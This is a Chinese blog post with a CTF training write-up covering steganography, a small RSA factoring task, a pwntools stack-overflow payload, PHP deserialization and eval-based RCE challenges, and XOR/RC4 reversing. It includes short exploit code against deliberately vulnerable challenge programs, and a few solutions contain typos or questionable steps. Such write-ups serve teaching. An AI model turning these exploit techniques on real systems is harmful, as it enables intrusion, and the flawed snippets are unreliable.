Lufer

  • 首页
  • 编程
  • 学习笔记
  • 日常折腾
Lufer
Code the World
  1. 首页
  2. 学习笔记
  3. WriteUP
  4. 正文

集训-基础摸底WP

2025年8月20日 7点热度 0人点赞 0条评论

MISC

huhuhu

题目

题解

题目给了一张图和一个txt。

txt的提示为“flag在哪?你Guess一下啊!”

图片属性的备注部分可以看到社会主义核心价值观加密,解密后是“abc”

Outguess加密,用命令获得flag “outguess -k 'abc' -r 'mmm.jpg' flag.txt”

五子棋

题目

题解

藏了压缩包,binwalk分离,分离后需要密码,密码就是图片文件名“1020.png”中的1020。

解压后得到gif,GifSplitter直接分帧,发现有一张特别的图片。

Stegsolve分层,发现二维码,扫描后得到flag。

Crypto

easyRSA

题目

已知一段RSA加密的信息为:0xdc2eeeb2782c且已知加密所用的公钥:(N=322831561921859 e = 23)
请解密出明文,提交时请将数字转化为ascii码提交
比如你解出的明文是0x6162,那么请提交字符串ab
提交格式:PCTF{明文字符串}

题解

直接分解N

fac: factoring 322831561921859
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
Total factoring time = 0.0069 seconds


***factors found***

P8 = 23781539
P8 = 13574881

ans = 1
p=23781539
q=13574881
n=322831561921859
c=0xdc2eeeb2782c
e=23
phi=(p-1)* (q-1)
d=gmpy2.invert(e,phi)
flag=long_to_bytes((pow(c,d,n)))
print(flag) 
//b'3a5Y'

PWN

stackoverflow

题解

要通过s实现栈溢出,s的基地址位于ebp-18h,要覆盖到ebp,需要传入0x18字节的数据,然后传入4字节数据覆盖ebp,再传入真实地址。

题目给出漏洞函数,地址在0x08049197。

from pwn import *
p=process('/test')
payload=b'a'*0x18+b*'a'*0x4+p32(0x8049199)
p.send(payload)
p.interactive()

Web

EzData

题目

<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code']));

题解

a和b要传入不同但md5相同的值,可以用数字1与字符1进行绕过

file会被date函数格式化,通过添加反义符可防止格式化。

class date{
    public $a;
    public $b;
    public $file;
}

$d=new date();
$d->a=1;
$d->b='1';
$d->file="/f\l\a\g";


echo serialize($d);

EzRce

题目

 <?php
error_reporting(0);
if(isset($_GET['url'])){
    eval($_GET['url']);
}else{
    highlight_file(__FILE__);
}
?> 

题解

文件包含,url=file:///flag即可。

Reverse

EzXOR

题解

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+0h] [ebp-80h]
  const char **v5; // [esp+4h] [ebp-7Ch]
  const char **v6; // [esp+8h] [ebp-78h]
  char Str1[50]; // [esp+1Ch] [ebp-64h] BYREF
  char Str2[26]; // [esp+4Eh] [ebp-32h] BYREF
  __int16 v9; // [esp+68h] [ebp-18h]
  int v10; // [esp+6Ah] [ebp-16h]
  int v11; // [esp+6Eh] [ebp-12h]
  int v12; // [esp+72h] [ebp-Eh]
  int v13; // [esp+76h] [ebp-Ah]
  int v14; // [esp+7Ah] [ebp-6h]
  __int16 v15; // [esp+7Eh] [ebp-2h]

  __main();
  strcpy(Str2, "E`}J]OrQF[V8zV:hzpV}fVF[t");
  v9 = 0;
  v10 = 0;
  v11 = 0;
  v12 = 0;
  v13 = 0;
  v14 = 0;
  v15 = 0;
  printf("Enter The Right FLAG:");
  scanf("%s", Str1);
  XOR(Str1, 3);
  if ( !strcmp(Str1, Str2) )
  {
    printf("U Saved IT!\n");
    return 0;
  }
  else
  {
    printf("Wrong!Try again!\n");
    return main(v4, v5, v6);
  }
}
size_t __cdecl XOR(char *Str, char a2)
{
  size_t result; // eax
  unsigned int i; // [esp+2Ch] [ebp-Ch]

  for ( i = 0; ; ++i )
  {
    result = strlen(Str);
    if ( i >= result )
      break;
    Str[i] ^= 3 * a2;
  }
  return result;
}

可以看出,字符串传入XOR函数,然后与3*3异或

s1="E`}J]OrQF[V8zV:hzpV}fVF[t"
for i in range(0,len(s1)):
    flag+=chr(ord(s1[i])^9)
print(flag)
//AAAAAAAAAAAAAAAAAAAALitCTF{XOR_1s_3asy_to_OR}

ezrc4

题解

int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // esi
  unsigned int v4; // eax
  char Str[32]; // [rsp+20h] [rbp-168h] BYREF
  __int64 Buf1[2]; // [rsp+40h] [rbp-148h] BYREF
  int v8; // [rsp+50h] [rbp-138h]
  char v9; // [rsp+54h] [rbp-134h]
  char v10[296]; // [rsp+60h] [rbp-128h] BYREF

  _main(argc, argv, envp);
  IsDebuggerPresent_1();
  Buf1[0] = 0x606EA290DC7CB2D5i64;
  Buf1[1] = 0x3190B05971E41306i64;
  v8 = -685914190;
  v9 = 127;
  printf(&byte_140011328);
  printf(&byte_140011358);
  printf(&byte_140011380);
  printf(&byte_1400113B0);
  printf("input flag:");
  scanf("%s21", Str);
  v3 = strlen(Str);
  v4 = strlen(key);
  rc4_init(v10, key, v4);
  rc4_crypt(v10, Str, v3);
  if ( !memcmp(Buf1, Str, 0x15ui64) )
    printf("win!!!!!!!!!!!!!!!!!!\n");
  else
    printf("nonono\n");
  return 0;
}

Buf是一个初始串,将V10用key通过RC4加密后,与Buf比较,RC4是对称加密,同理用Buf和key进行加密就可以得到flag。

可以看到key被X_X函数引用了。

char *X_X()
{
  char *result; // rax
  _BYTE *v1; // rdx

  result = key;
  v1 = &key1;
  do
    *result++ ^= *v1++;
  while ( result != &key[7] );
  return result;
}

在函数内对key进行了异或操作。

key="fenkey?"
key1=[0x0a,0x0c,0x1a,8,0x11,0x1F,0x1E]
realky=""
for i in range(0,7):
    realky+=chr(ord(key[i])^key1[i])
print(realky)
//litctf!
标签: CTF
最后更新:2025年8月20日

Lufer

新的一天开始啦

点赞
< 上一篇
下一篇 >

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复

文章目录
  • MISC
    • huhuhu
      • 题目
      • 题解
    • 五子棋
      • 题目
      • 题解
  • Crypto
    • easyRSA
      • 题目
      • 题解
  • PWN
    • stackoverflow
      • 题解
  • Web
    • EzData
      • 题目
      • 题解
    • EzRce
      • 题目
      • 题解
  • Reverse
    • EzXOR
      • 题解
    • ezrc4
      • 题解

COPYRIGHT © 2025 lufer.cc.

Theme Kratos Made By Seaton Jiang

鲁ICP备2021045819号